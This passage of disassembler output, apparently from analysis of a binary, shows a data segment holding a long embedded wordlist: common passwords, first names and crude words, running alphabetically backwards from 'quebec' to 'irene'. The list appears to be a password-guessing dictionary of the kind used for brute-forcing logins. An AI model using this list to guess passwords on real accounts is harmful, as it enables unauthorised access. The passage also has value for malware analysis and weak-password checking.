seg001:0042D730o ; seg001:0042E488o align 4 aQuebec db 'quebec',0 ; DATA XREF: seg001:0042D72Co align 10h aPussy db 'pussy',0 ; DATA XREF: seg001:0042D728o align 4 aPuppet db 'puppet',0 ; DATA XREF: seg001:0042D724o align 10h aPunk db 'punk',0 ; DATA XREF: seg001:0042D720o align 4 aPunisher db 'punisher',0 ; DATA XREF: seg001:0042D71Co align 4 aPuneet db 'puneet',0 ; DATA XREF: seg001:0042D718o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: seg001:0042D714o aPuke db 'puke',0 ; DATA XREF: seg001:0042D710o align 4 aPuck db 'puck',0 ; DATA XREF: seg001:0042D70Co align 4 aPublic db 'public',0 ; DATA XREF: seg001:0042D708o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: seg001:0042D704o align 4 aPsycho db 'psycho',0 ; DATA XREF: seg001:0042D700o align 10h aProtozoa db 'protozoa',0 ; DATA XREF: seg001:0042D6FCo align 4 aProtect db 'protect',0 ; DATA XREF: seg001:0042D6F8o aPrompt db 'prompt',0 ; DATA XREF: seg001:0042D6F4o align 4 aProgram db 'program',0 ; DATA XREF: seg001:0042D6F0o aProfile db 'profile',0 ; DATA XREF: seg001:0042D6ECo aProfesso db 'professo',0 ; DATA XREF: seg001:0042D6E8o align 4 aProcesso db 'processo',0 ; DATA XREF: seg001:0042D6E4o align 4 aProceed db 'proceed',0 ; DATA XREF: seg001:0042D6E0o aPrivs db 'privs',0 ; DATA XREF: seg001:0042D6DCo align 4 aPrivate db 'private',0 ; DATA XREF: seg001:0042D6D8o aPriv db 'priv',0 ; DATA XREF: seg001:0042D6D4o align 4 aPrinter db 'printer',0 ; DATA XREF: seg001:0042D6D0o aPrinceto db 'princeto',0 ; DATA XREF: seg001:0042D6CCo align 4 aPrince db 'prince',0 ; DATA XREF: seg001:0042D6C8o align 10h aPresto db 'presto',0 ; DATA XREF: seg001:0042D6C4o align 4 aPrelude db 'prelude',0 ; DATA XREF: seg001:0042D6C0o aPrecious db 'precious',0 ; DATA XREF: seg001:0042D6BCo align 4 aPraise db 'praise',0 ; DATA XREF: seg001:0042D6B8o align 4 aPower db 'power',0 ; DATA XREF: seg001:0042D6B4o align 4 aPoster db 'poster',0 ; DATA XREF: seg001:0042D6B0o align 4 aPost db 'post',0 ; DATA XREF: seg001:0042D6ACo align 4 aPorsche db 'porsche',0 ; DATA XREF: seg001:0042D6A8o aPorno db 'porno',0 ; DATA XREF: seg001:0042D6A4o align 4 aPorn db 'porn',0 ; DATA XREF: seg001:0042D6A0o align 4 aPork db 'pork',0 ; DATA XREF: seg001:0042D69Co align 4 aPoor db 'poor',0 ; DATA XREF: seg001:0042D698o align 4 aPoop db 'poop',0 ; DATA XREF: seg001:0042D694o align 4 aPonderin db 'ponderin',0 ; DATA XREF: seg001:0042D690o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: seg001:0042D68Co align 4 aPolly db 'polly',0 ; DATA XREF: seg001:0042D688o align 4 aPolice db 'police',0 ; DATA XREF: seg001:0042D684o align 4 aPoetry db 'poetry',0 ; DATA XREF: seg001:0042D680o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: seg001:0042D67Co align 4 aPluto db 'pluto',0 ; DATA XREF: seg001:0042D678o align 10h aPlover db 'plover',0 ; DATA XREF: seg001:0042D674o align 4 aPlayboy db 'playboy',0 ; DATA XREF: seg001:0042D670o aPlane db 'plane',0 ; DATA XREF: seg001:0042D66Co align 4 aPizza db 'pizza',0 ; DATA XREF: seg001:0042D668o align 10h aPiss db 'piss',0 ; DATA XREF: seg001:0042D664o align 4 aPinname db 'pinname',0 ; DATA XREF: seg001:0042D660o aPimp db 'pimp',0 ; DATA XREF: seg001:0042D65Co align 4 aPierre db 'pierre',0 ; DATA XREF: seg001:0042D658o align 10h aPick db 'pick',0 ; DATA XREF: seg001:0042D654o align 4 aPhuck db 'phuck',0 ; DATA XREF: seg001:0042D650o align 10h aPhreak db 'phreak',0 ; DATA XREF: seg001:0042D64Co align 4 aPhrase db 'phrase',0 ; DATA XREF: seg001:0042D648o align 10h aPhrack db 'phrack',0 ; DATA XREF: seg001:0042D644o align 4 aPhoton db 'photon',0 ; DATA XREF: seg001:0042D640o align 10h aPhone db 'phone',0 ; DATA XREF: seg001:0042D63Co align 4 aPhoenix db 'phoenix',0 ; DATA XREF: seg001:0042D638o aPhilip db 'philip',0 ; DATA XREF: seg001:0042D634o align 4 aPhil db 'phil',0 ; DATA XREF: seg001:0042D630o align 10h aPeter db 'peter',0 ; DATA XREF: seg001:0042D62Co align 4 aPete db 'pete',0 ; DATA XREF: seg001:0042D628o align 10h aPervert db 'pervert',0 ; DATA XREF: seg001:0042D624o aPersona db 'persona',0 ; DATA XREF: seg001:0042D620o aPersimmo db 'persimmo',0 ; DATA XREF: seg001:0042D61Co align 4 aPermit db 'permit',0 ; DATA XREF: seg001:0042D618o align 4 aPerfect db 'perfect',0 ; DATA XREF: seg001:0042D614o aPercolat db 'percolat',0 ; DATA XREF: seg001:0042D610o align 4 aPepper db 'pepper',0 ; DATA XREF: seg001:0042D60Co align 10h aPeoria db 'peoria',0 ; DATA XREF: seg001:0042D608o align 4 aPentium db 'pentium',0 ; DATA XREF: seg001:0042D604o aPenthous db 'penthous',0 ; DATA XREF: seg001:0042D600o align 4 aPentagra db 'pentagra',0 ; DATA XREF: seg001:0042D5FCo align 4 aPentagon db 'pentagon',0 ; DATA XREF: seg001:0042D5F8o align 4 aPenname db 'penname',0 ; DATA XREF: seg001:0042D5F4o aPenis db 'penis',0 ; DATA XREF: seg001:0042D5F0o align 4 aPenguin db 'penguin',0 ; DATA XREF: seg001:0042D5ECo aPenelope db 'penelope',0 ; DATA XREF: seg001:0042D5E8o align 4 aPencil db 'pencil',0 ; DATA XREF: seg001:0042D5E4o align 10h aPecker db 'pecker',0 ; DATA XREF: seg001:0042D5E0o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: seg001:0042D5DCo aPaula db 'paula',0 ; DATA XREF: seg001:0042D5D8o align 4 aPatty db 'patty',0 ; DATA XREF: seg001:0042D5D4o align 10h aPatriot db 'patriot',0 ; DATA XREF: seg001:0042D5D0o aPatricia db 'patricia',0 ; DATA XREF: seg001:0042D5CCo align 4 aPaste db 'paste',0 ; DATA XREF: seg001:0042D5C8o align 4 aPassphra db 'passphra',0 ; DATA XREF: seg001:0042D5C4o align 4 aPascal db 'pascal',0 ; DATA XREF: seg001:0042D5C0o align 10h aPapers db 'papers',0 ; DATA XREF: seg001:0042D5BCo align 4 aPaper db 'paper',0 ; DATA XREF: seg001:0042D5B8o align 10h aPapa db 'papa',0 ; DATA XREF: seg001:0042D5B4o align 4 aPamela db 'pamela',0 ; DATA XREF: seg001:0042D5B0o align 10h aPakistan db 'pakistan',0 ; DATA XREF: seg001:0042D5ACo align 4 aPaint db 'paint',0 ; DATA XREF: seg001:0042D5A8o align 4 aPainless db 'painless',0 ; DATA XREF: seg001:0042D5A4o align 10h aPacker db 'packer',0 ; DATA XREF: seg001:0042D5A0o align 4 aPackard db 'packard',0 ; DATA XREF: seg001:0042D59Co aPacific db 'pacific',0 ; DATA XREF: seg001:0042D598o aOxford db 'oxford',0 ; DATA XREF: seg001:0042D594o align 10h aOutside db 'outside',0 ; DATA XREF: seg001:0042D590o aOutput db 'output',0 ; DATA XREF: seg001:0042D58Co align 10h aOutlaw db 'outlaw',0 ; DATA XREF: seg001:0042D588o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: seg001:0042D584o align 4 aOsiris db 'osiris',0 ; DATA XREF: seg001:0042D580o align 4 aOscar db 'oscar',0 ; DATA XREF: seg001:0042D57Co align 4 aOrwell db 'orwell',0 ; DATA XREF: seg001:0042D578o align 4 aOrient db 'orient',0 ; DATA XREF: seg001:0042D574o align 4 aOrca db 'orca',0 ; DATA XREF: seg001:0042D570o align 4 aOperator db 'operator',0 ; DATA XREF: seg001:0042D56Co align 4 aOpensesa db 'opensesa',0 ; DATA XREF: seg001:0042D568o align 4 aOpenlock db 'openlock',0 ; DATA XREF: seg001:0042D564o align 10h aOpening db 'opening',0 ; DATA XREF: seg001:0042D560o aOmega db 'omega',0 ; DATA XREF: seg001:0042D558o align 10h aOlivia db 'olivia',0 ; DATA XREF: seg001:0042D554o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: seg001:0042D550o align 4 aOldage db 'oldage',0 ; DATA XREF: seg001:0042D54Co align 4 aOkay db 'okay',0 ; DATA XREF: seg001:0042D548o align 4 aOffice db 'office',0 ; DATA XREF: seg001:0042D544o align 4 aOcelot db 'ocelot',0 ; DATA XREF: seg001:0042D540o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: seg001:0042D53Co align 10h aObscurit db 'obscurit',0 ; DATA XREF: seg001:0042D538o align 4 aNyquist db 'nyquist',0 ; DATA XREF: seg001:0042D534o aNuts db 'nuts',0 ; DATA XREF: seg001:0042D530o align 4 aNutritio db 'nutritio',0 ; DATA XREF: seg001:0042D52Co align 4 aNumber db 'number',0 ; DATA XREF: seg001:0042D528o align 10h aNull_1 db 'null',0 ; DATA XREF: seg001:0042D524o align 4 aNukem db 'nukem',0 ; DATA XREF: seg001:0042D520o align 10h aNuke db 'nuke',0 ; DATA XREF: seg001:0042D51Co align 4 aNude db 'nude',0 ; DATA XREF: seg001:0042D518o align 10h aNuclear db 'nuclear',0 ; DATA XREF: seg001:0042D514o aNoxious db 'noxious',0 ; DATA XREF: seg001:0042D510o aNovember db 'november',0 ; DATA XREF: seg001:0042D50Co align 4 aNovel db 'novel',0 ; DATA XREF: seg001:0042D508o align 4 aNova db 'nova',0 ; DATA XREF: seg001:0042D504o align 4 aNoth db 'noth',0 ; DATA XREF: seg001:0042D500o align 4 aNotes db 'notes',0 ; DATA XREF: seg001:0042D4FCo align 4 aNoreen db 'noreen',0 ; DATA XREF: seg001:0042D4F8o align 4 aNode db 'node',0 ; DATA XREF: seg001:0042D4F4o align 4 aNobody db 'nobody',0 ; DATA XREF: seg001:0042D4F0o align 4 aNoble db 'noble',0 ; DATA XREF: seg001:0042D4ECo align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: seg001:0042D4E8o align 4 aNita db 'nita',0 ; DATA XREF: seg001:0042D4E4o align 4 aNintendo db 'nintendo',0 ; DATA XREF: seg001:0042D4E0o align 4 aNightmar db 'nightmar',0 ; DATA XREF: seg001:0042D4DCo align 4 aNight db 'night',0 ; DATA XREF: seg001:0042D4D8o align 4 aNicotine db 'nicotine',0 ; DATA XREF: seg001:0042D4D4o align 4 aNicole db 'nicole',0 ; DATA XREF: seg001:0042D4D0o align 10h aNice db 'nice',0 ; DATA XREF: seg001:0042D4CCo align 4 aNext db 'next',0 ; DATA XREF: seg001:0042D4C8o align 10h aNewyork db 'newyork',0 ; DATA XREF: seg001:0042D4C4o aNewton db 'newton',0 ; DATA XREF: seg001:0042D4C0o align 10h aNewsgrou db 'newsgrou',0 ; DATA XREF: seg001:0042D4BCo align 4 aNews db 'news',0 ; DATA XREF: seg001:0042D4B8o align 4 aNewborn db 'newborn',0 ; DATA XREF: seg001:0042D4B4o aNetwork_0 db 'network',0 ; DATA XREF: seg001:0042D4B0o aNetscape db 'netscape',0 ; DATA XREF: seg001:0042D4ACo align 10h aNess db 'ness',0 ; DATA XREF: seg001:0042D4A8o align 4 aNeptune db 'neptune',0 ; DATA XREF: seg001:0042D4A4o aNepenthe db 'nepenthe',0 ; DATA XREF: seg001:0042D4A0o align 4 aNavy db 'navy',0 ; DATA XREF: seg001:0042D49Co align 4 aNasa db 'nasa',0 ; DATA XREF: seg001:0042D498o align 4 aNapoleon db 'napoleon',0 ; DATA XREF: seg001:0042D494o align 4 aNancy db 'nancy',0 ; DATA XREF: seg001:0042D490o align 10h aName db 'name',0 ; DATA XREF: seg001:0042D48Co align 4 aNagel db 'nagel',0 ; DATA XREF: seg001:0042D488o align 10h aMutant db 'mutant',0 ; DATA XREF: seg001:0042D484o align 4 aMuppets db 'muppets',0 ; DATA XREF: seg001:0042D480o aMsdos db 'msdos',0 ; DATA XREF: seg001:0042D47Co align 4 aMpeg db 'mpeg',0 ; DATA XREF: seg001:0042D478o align 10h aMozart db 'mozart',0 ; DATA XREF: seg001:0042D474o align 4 aMovies db 'movies',0 ; DATA XREF: seg001:0042D470o align 10h aMovie db 'movie',0 ; DATA XREF: seg001:0042D46Co align 4 aMove db 'move',0 ; DATA XREF: seg001:0042D468o align 10h aMouse db 'mouse',0 ; DATA XREF: seg001:0042D464o align 4 aMountain db 'mountain',0 ; DATA XREF: seg001:0042D460o align 4 aMosaic db 'mosaic',0 ; DATA XREF: seg001:0042D45Co align 4 aMortgage db 'mortgage',0 ; DATA XREF: seg001:0042D458o align 4 aMortalco db 'mortalco',0 ; DATA XREF: seg001:0042D454o align 4 aMortal db 'mortal',0 ; DATA XREF: seg001:0042D450o align 4 aMorris db 'morris',0 ; DATA XREF: seg001:0042D44Co align 4 aMorley db 'morley',0 ; DATA XREF: seg001:0042D448o align 4 aMore db 'more',0 ; DATA XREF: seg001:0042D444o align 4 aMoose db 'moose',0 ; DATA XREF: seg001:0042D440o align 4 aMoor db 'moor',0 ; DATA XREF: seg001:0042D43Co align 4 aMoom db 'moom',0 ; DATA XREF: seg001:0042D438o align 4 aMonica db 'monica',0 ; DATA XREF: seg001:0042D434o align 4 aMonday db 'monday',0 ; DATA XREF: seg001:0042D430o align 4 aMoguls db 'moguls',0 ; DATA XREF: seg001:0042D42Co align 4 aMogul db 'mogul',0 ; DATA XREF: seg001:0042D428o align 4 aModem db 'modem',0 ; DATA XREF: seg001:0042D424o align 4 aMode db 'mode',0 ; DATA XREF: seg001:0042D420o align 4 aMkii db 'mkii',0 ; DATA XREF: seg001:0042D41Co align 4 aMission db 'mission',0 ; DATA XREF: seg001:0042D418o aMisfit db 'misfit',0 ; DATA XREF: seg001:0042D414o align 4 aMinsky db 'minsky',0 ; DATA XREF: seg001:0042D410o align 4 aMinimum db 'minimum',0 ; DATA XREF: seg001:0042D40Co aMine db 'mine',0 ; DATA XREF: seg001:0042D408o align 4 aMike db 'mike',0 ; DATA XREF: seg001:0042D404o align 4 aMidieval db 'midieval',0 ; DATA XREF: seg001:0042D400o align 10h aMicrosof db 'microsof',0 ; DATA XREF: seg001:0042D3FCo align 4 aMicropro db 'micropro',0 ; DATA XREF: seg001:0042D3F8o align 4 aMicrochi db 'microchi',0 ; DATA XREF: seg001:0042D3F4o align 4 aMicro db 'micro',0 ; DATA XREF: seg001:0042D3F0o align 4 aMickey db 'mickey',0 ; DATA XREF: seg001:0042D3ECo align 4 aMichelle db 'michelle',0 ; DATA XREF: seg001:0042D3E8o align 10h aMichele db 'michele',0 ; DATA XREF: seg001:0042D3E4o aMichelan db 'michelan',0 ; DATA XREF: seg001:0042D3E0o align 4 aMichel db 'michel',0 ; DATA XREF: seg001:0042D3DCo align 4 aMichael db 'michael',0 ; DATA XREF: seg001:0042D3D8o aMice db 'mice',0 ; DATA XREF: seg001:0042D3D4o align 4 aMets db 'mets',0 ; DATA XREF: seg001:0042D3D0o align 4 aMetalica db 'metalica',0 ; DATA XREF: seg001:0042D3CCo align 10h aMetalhea db 'metalhea',0 ; DATA XREF: seg001:0042D3C8o align 4 aMetal db 'metal',0 ; DATA XREF: seg001:0042D3C4o align 4 aMerlin db 'merlin',0 ; DATA XREF: seg001:0042D3C0o align 4 aMercury db 'mercury',0 ; DATA XREF: seg001:0042D3BCo aMenu db 'menu',0 ; DATA XREF: seg001:0042D3B8o align 4 aMenace db 'menace',0 ; DATA XREF: seg001:0042D3B4o align 4 aMemory db 'memory',0 ; DATA XREF: seg001:0042D3B0o align 4 aMember db 'member',0 ; DATA XREF: seg001:0042D3ACo align 4 aMelrose db 'melrose',0 ; DATA XREF: seg001:0042D3A8o aMellon db 'mellon',0 ; DATA XREF: seg001:0042D3A4o align 4 aMelissa db 'melissa',0 ; DATA XREF: seg001:0042D3A0o aMegan db 'megan',0 ; DATA XREF: seg001:0042D39Co align 4 aMegadeth db 'megadeth',0 ; DATA XREF: seg001:0042D398o align 10h aMegabyte db 'megabyte',0 ; DATA XREF: seg001:0042D394o align 4 aMeagan db 'meagan',0 ; DATA XREF: seg001:0042D390o align 4 aMaurice db 'maurice',0 ; DATA XREF: seg001:0042D38Co aMath db 'math',0 ; DATA XREF: seg001:0042D388o align 4 aMaster db 'master',0 ; DATA XREF: seg001:0042D384o align 4 aMason db 'mason',0 ; DATA XREF: seg001:0042D380o align 4 aMary db 'mary',0 ; DATA XREF: seg001:0042D37Co align 4 aMarvin db 'marvin',0 ; DATA XREF: seg001:0042D378o align 4 aMarty db 'marty',0 ; DATA XREF: seg001:0042D374o align 4 aMars db 'mars',0 ; DATA XREF: seg001:0042D370o align 4 aMarriage db 'marriage',0 ; DATA XREF: seg001:0042D36Co align 10h aMarni db 'marni',0 ; DATA XREF: seg001:0042D368o align 4 aMarkus db 'markus',0 ; DATA XREF: seg001:0042D364o align 10h aMark db 'mark',0 ; DATA XREF: seg001:0042D360o align 4 aMarines db 'marines',0 ; DATA XREF: seg001:0042D35Co aMarijuan db 'marijuan',0 ; DATA XREF: seg001:0042D358o align 4 aMarietta db 'marietta',0 ; DATA XREF: seg001:0042D354o align 4 aMariens db 'mariens',0 ; DATA XREF: seg001:0042D350o aMaria db 'maria',0 ; DATA XREF: seg001:0042D34Co align 4 aMarcy db 'marcy',0 ; DATA XREF: seg001:0042D348o align 10h aMarci db 'marci',0 ; DATA XREF: seg001:0042D344o align 4 aMara db 'mara',0 ; DATA XREF: seg001:0042D340o align 10h aManager db 'manager',0 ; DATA XREF: seg001:0042D33Co aMana db 'mana',0 ; DATA XREF: seg001:0042D338o align 10h aMalcom db 'malcom',0 ; DATA XREF: seg001:0042D334o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: seg001:0042D330o aMaint db 'maint',0 ; DATA XREF: seg001:0042D32Co align 4 aMail db 'mail',0 ; DATA XREF: seg001:0042D328o align 10h aMagnet db 'magnet',0 ; DATA XREF: seg001:0042D324o align 4 aMagic db 'magic',0 ; DATA XREF: seg001:0042D320o align 10h aMaggot db 'maggot',0 ; DATA XREF: seg001:0042D31Co align 4 aMacro db 'macro',0 ; DATA XREF: seg001:0042D318o align 10h aMack db 'mack',0 ; DATA XREF: seg001:0042D314o align 4 aMacintos db 'macintos',0 ; DATA XREF: seg001:0042D310o align 4 aMachine db 'machine',0 ; DATA XREF: seg001:0042D30Co aLynne db 'lynne',0 ; DATA XREF: seg001:0042D308o align 4 aLynn db 'lynn',0 ; DATA XREF: seg001:0042D304o align 4 aLust db 'lust',0 ; DATA XREF: seg001:0042D300o align 4 aLuke db 'luke',0 ; DATA XREF: seg001:0042D2FCo align 4 aLude db 'lude',0 ; DATA XREF: seg001:0042D2F8o align 4 aLucy db 'lucy',0 ; DATA XREF: seg001:0042D2F4o align 4 aLucus db 'lucus',0 ; DATA XREF: seg001:0042D2F0o align 4 aLuck db 'luck',0 ; DATA XREF: seg001:0042D2ECo align 4 aLover db 'lover',0 ; DATA XREF: seg001:0042D2E8o align 4 aLovebug db 'lovebug',0 ; DATA XREF: seg001:0042D2E4o aLouis db 'louis',0 ; DATA XREF: seg001:0042D2E0o align 4 aLoser db 'loser',0 ; DATA XREF: seg001:0042D2DCo align 4 aLorraine db 'lorraine',0 ; DATA XREF: seg001:0042D2D8o align 4 aLorin db 'lorin',0 ; DATA XREF: seg001:0042D2D4o align 10h aLori db 'lori',0 ; DATA XREF: seg001:0042D2D0o align 4 aLore db 'lore',0 ; DATA XREF: seg001:0042D2CCo align 10h aLoose db 'loose',0 ; DATA XREF: seg001:0042D2C8o align 4 aLolopc db 'lolopc',0 ; DATA XREF: seg001:0042D2C4o align 10h aLois db 'lois',0 ; DATA XREF: seg001:0042D2C0o align 4 aLogout db 'logout',0 ; DATA XREF: seg001:0042D2BCo align 10h aLoginwor db 'loginwor',0 ; DATA XREF: seg001:0042D2B8o align 4 aLogic db 'logic',0 ; DATA XREF: seg001:0042D2B4o align 4 aLockword db 'lockword',0 ; DATA XREF: seg001:0042D2B0o align 10h aLockout db 'lockout',0 ; DATA XREF: seg001:0042D2ACo aLock db 'lock',0 ; DATA XREF: seg001:0042D2A8o align 10h aLoad db 'load',0 ; DATA XREF: seg001:0042D2A4o align 4 aLive db 'live',0 ; DATA XREF: seg001:0042D2A0o align 10h aLiteratu db 'literatu',0 ; DATA XREF: seg001:0042D29Co align 4 aLisp db 'lisp',0 ; DATA XREF: seg001:0042D298o align 4 aLisa db 'lisa',0 ; DATA XREF: seg001:0042D294o align 4 aLips db 'lips',0 ; DATA XREF: seg001:0042D290o align 4 aLion db 'lion',0 ; DATA XREF: seg001:0042D28Co align 4 aLink db 'link',0 ; DATA XREF: seg001:0042D288o align 4 aLinda db 'linda',0 ; DATA XREF: seg001:0042D284o align 4 aLimited db 'limited',0 ; DATA XREF: seg001:0042D280o aLimbaugh db 'limbaugh',0 ; DATA XREF: seg001:0042D27Co align 10h aLima db 'lima',0 ; DATA XREF: seg001:0042D278o align 4 aLightsab db 'lightsab',0 ; DATA XREF: seg001:0042D274o align 4 aLight db 'light',0 ; DATA XREF: seg001:0042D270o align 4 aLife db 'life',0 ; DATA XREF: seg001:0042D26Co align 4 aLicker db 'licker',0 ; DATA XREF: seg001:0042D268o align 4 aLick db 'lick',0 ; DATA XREF: seg001:0042D264o align 4 aLibrary db 'library',0 ; DATA XREF: seg001:0042D260o aLiberal db 'liberal',0 ; DATA XREF: seg001:0042D25Co aLexluthe db 'lexluthe',0 ; DATA XREF: seg001:0042D258o align 10h aLewis db 'lewis',0 ; DATA XREF: seg001:0042D254o align 4 aLetmein db 'letmein',0 ; DATA XREF: seg001:0042D250o aLeslie db 'leslie',0 ; DATA XREF: seg001:0042D24Co align 4 aLesbian db 'lesbian',0 ; DATA XREF: seg001:0042D248o aLeroy db 'leroy',0 ; DATA XREF: seg001:0042D244o align 4 aLeland db 'leland',0 ; DATA XREF: seg001:0042D240o align 10h aLegal db 'legal',0 ; DATA XREF: seg001:0042D23Co align 4 aLeftwing db 'leftwing',0 ; DATA XREF: seg001:0042D238o align 4 aLeft db 'left',0 ; DATA XREF: seg001:0042D234o align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: seg001:0042D230o align 4 aLeah db 'leah',0 ; DATA XREF: seg001:0042D22Co align 10h aLazer db 'lazer',0 ; DATA XREF: seg001:0042D228o align 4 aLazarus db 'lazarus',0 ; DATA XREF: seg001:0042D224o aLava db 'lava',0 ; DATA XREF: seg001:0042D220o align 4 aLaura db 'laura',0 ; DATA XREF: seg001:0042D21Co align 10h aLaser db 'laser',0 ; DATA XREF: seg001:0042D218o align 4 aLarry db 'larry',0 ; DATA XREF: seg001:0042D214o align 10h aLarkin db 'larkin',0 ; DATA XREF: seg001:0042D210o align 4 aLara db 'lara',0 ; DATA XREF: seg001:0042D20Co align 10h aLaptop db 'laptop',0 ; DATA XREF: seg001:0042D208o align 4 aLana db 'lana',0 ; DATA XREF: seg001:0042D204o align 10h aLaminati db 'laminati',0 ; DATA XREF: seg001:0042D200o align 4 aLambda db 'lambda',0 ; DATA XREF: seg001:0042D1FCo align 4 aLakers db 'lakers',0 ; DATA XREF: seg001:0042D1F8o align 4 aLadle db 'ladle',0 ; DATA XREF: seg001:0042D1F4o align 4 aLadies db 'ladies',0 ; DATA XREF: seg001:0042D1F0o align 4 aKristy db 'kristy',0 ; DATA XREF: seg001:0042D1ECo align 4 aKristine db 'kristine',0 ; DATA XREF: seg001:0042D1E8o align 10h aKristin db 'kristin',0 ; DATA XREF: seg001:0042D1E4o aKristie db 'kristie',0 ; DATA XREF: seg001:0042D1E0o aKristi db 'kristi',0 ; DATA XREF: seg001:0042D1DCo align 4 aKristen db 'kristen',0 ; DATA XREF: seg001:0042D1D8o aKrista db 'krista',0 ; DATA XREF: seg001:0042D1D4o align 4 aKnown db 'known',0 ; DATA XREF: seg001:0042D1D0o align 10h aKnightma db 'knightma',0 ; DATA XREF: seg001:0042D1CCo align 4 aKnight db 'knight',0 ; DATA XREF: seg001:0042D1C8o align 4 aKnife db 'knife',0 ; DATA XREF: seg001:0042D1C4o align 4 aKlingon db 'klingon',0 ; DATA XREF: seg001:0042D1C0o aKitten db 'kitten',0 ; DATA XREF: seg001:0042D1BCo align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: seg001:0042D1B8o align 4 aKiss db 'kiss',0 ; DATA XREF: seg001:0042D1B4o align 10h aKirkland db 'kirkland',0 ; DATA XREF: seg001:0042D1B0o align 4 aKirk db 'kirk',0 ; DATA XREF: seg001:0042D1ACo align 4 aKing db 'king',0 ; DATA XREF: seg001:0042D1A8o align 4 aKimberly db 'kimberly',0 ; DATA XREF: seg001:0042D1A4o align 4 aKilo db 'kilo',0 ; DATA XREF: seg001:0042D1A0o align 10h aKillthem db 'killthem',0 ; DATA XREF: seg001:0042D19Co align 4 aKill db 'kill',0 ; DATA XREF: seg001:0042D198o align 4 aKids db 'kids',0 ; DATA XREF: seg001:0042D194o align 4 aKeyword db 'keyword',0 ; DATA XREF: seg001:0042D190o aKeyin db 'keyin',0 ; DATA XREF: seg001:0042D18Co align 4 aKeybord db 'keybord',0 ; DATA XREF: seg001:0042D188o aKewl db 'kewl',0 ; DATA XREF: seg001:0042D184o align 4 aKevin db 'kevin',0 ; DATA XREF: seg001:0042D180o align 4 aKerry db 'kerry',0 ; DATA XREF: seg001:0042D17Co align 4 aKerrie db 'kerrie',0 ; DATA XREF: seg001:0042D178o align 4 aKerri db 'kerri',0 ; DATA XREF: seg001:0042D174o align 4 aKernel db 'kernel',0 ; DATA XREF: seg001:0042D170o align 4 aKermit db 'kermit',0 ; DATA XREF: seg001:0042D16Co align 4 aKeri db 'keri',0 ; DATA XREF: seg001:0042D168o align 4 aKelly db 'kelly',0 ; DATA XREF: seg001:0042D164o align 4 aKatrina db 'katrina',0 ; DATA XREF: seg001:0042D160o aKatina db 'katina',0 ; DATA XREF: seg001:0042D15Co align 4 aKathy db 'kathy',0 ; DATA XREF: seg001:0042D158o align 4 aKathrine db 'kathrine',0 ; DATA XREF: seg001:0042D154o align 10h aKathleen db 'kathleen',0 ; DATA XREF: seg001:0042D150o align 4 aKate db 'kate',0 ; DATA XREF: seg001:0042D14Co align 4 aKatana db 'katana',0 ; DATA XREF: seg001:0042D148o align 4 aKarina db 'karina',0 ; DATA XREF: seg001:0042D144o align 4 aKarie db 'karie',0 ; DATA XREF: seg001:0042D140o align 4 aKaren db 'karen',0 ; DATA XREF: seg001:0042D13Co align 4 aKaka db 'kaka',0 ; DATA XREF: seg001:0042D138o align 4 aJupiter db 'jupiter',0 ; DATA XREF: seg001:0042D134o aJune db 'june',0 ; DATA XREF: seg001:0042D130o align 4 aJuliet db 'juliet',0 ; DATA XREF: seg001:0042D12Co align 4 aJulie db 'julie',0 ; DATA XREF: seg001:0042D128o align 4 aJulia db 'julia',0 ; DATA XREF: seg001:0042D124o align 4 aJuicy db 'juicy',0 ; DATA XREF: seg001:0042D120o align 4 aJuggle db 'juggle',0 ; DATA XREF: seg001:0042D11Co align 4 aJudy db 'judy',0 ; DATA XREF: seg001:0042D118o align 4 aJudith db 'judith',0 ; DATA XREF: seg001:0042D114o align 4 aJoyce db 'joyce',0 ; DATA XREF: seg001:0042D110o align 4 aJournal db 'journal',0 ; DATA XREF: seg001:0042D10Co aJoshua db 'joshua',0 ; DATA XREF: seg001:0042D108o align 4 aJoseph db 'joseph',0 ; DATA XREF: seg001:0042D104o align 4 aJohnny db 'johnny',0 ; DATA XREF: seg001:0042D100o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: seg001:0042D0FCo aJohn db 'john',0 ; DATA XREF: seg001:0042D0F8o align 4 aJody db 'jody',0 ; DATA XREF: seg001:0042D0F4o align 4 aJoanne db 'joanne',0 ; DATA XREF: seg001:0042D0F0o align 4 aJixian db 'jixian',0 ; DATA XREF: seg001:0042D0ECo align 4 aJill db 'jill',0 ; DATA XREF: seg001:0042D0E8o align 4 aJewelry db 'jewelry',0 ; DATA XREF: seg001:0042D0E4o aJester db 'jester',0 ; DATA XREF: seg001:0042D0E0o align 4 aJessica db 'jessica',0 ; DATA XREF: seg001:0042D0DCo aJerusale db 'jerusale',0 ; DATA XREF: seg001:0042D0D8o align 10h aJerry db 'jerry',0 ; DATA XREF: seg001:0042D0D4o align 4 aJenny db 'jenny',0 ; DATA XREF: seg001:0042D0D0o align 10h aJennifer db 'jennifer',0 ; DATA XREF: seg001:0042D0CCo align 4 aJenni db 'jenni',0 ; DATA XREF: seg001:0042D0C8o align 4 aJeff db 'jeff',0 ; DATA XREF: seg001:0042D0C4o align 4 aJeanne db 'jeanne',0 ; DATA XREF: seg001:0042D0C0o align 4 aJean db 'jean',0 ; DATA XREF: seg001:0042D0BCo align 4 aJazz db 'jazz',0 ; DATA XREF: seg001:0042D0B8o align 4 aJava db 'java',0 ; DATA XREF: seg001:0042D0B4o align 4 aJasmin db 'jasmin',0 ; DATA XREF: seg001:0042D0B0o align 4 aJapan db 'japan',0 ; DATA XREF: seg001:0042D0ACo align 4 aJanie db 'janie',0 ; DATA XREF: seg001:0042D0A8o align 4 aJanice db 'janice',0 ; DATA XREF: seg001:0042D0A4o align 4 aJanet db 'janet',0 ; DATA XREF: seg001:0042D0A0o align 4 aJane db 'jane',0 ; DATA XREF: seg001:0042D09Co align 4 aJail db 'jail',0 ; DATA XREF: seg001:0042D098o align 4 aJackie db 'jackie',0 ; DATA XREF: seg001:0042D094o align 4 aIsis db 'isis',0 ; DATA XREF: seg001:0042D090o align 4 aIrishman db 'irishman',0 ; DATA XREF: seg001:0042D08Co align 10h aIrene db 'irene',0 ; DATA XREF: 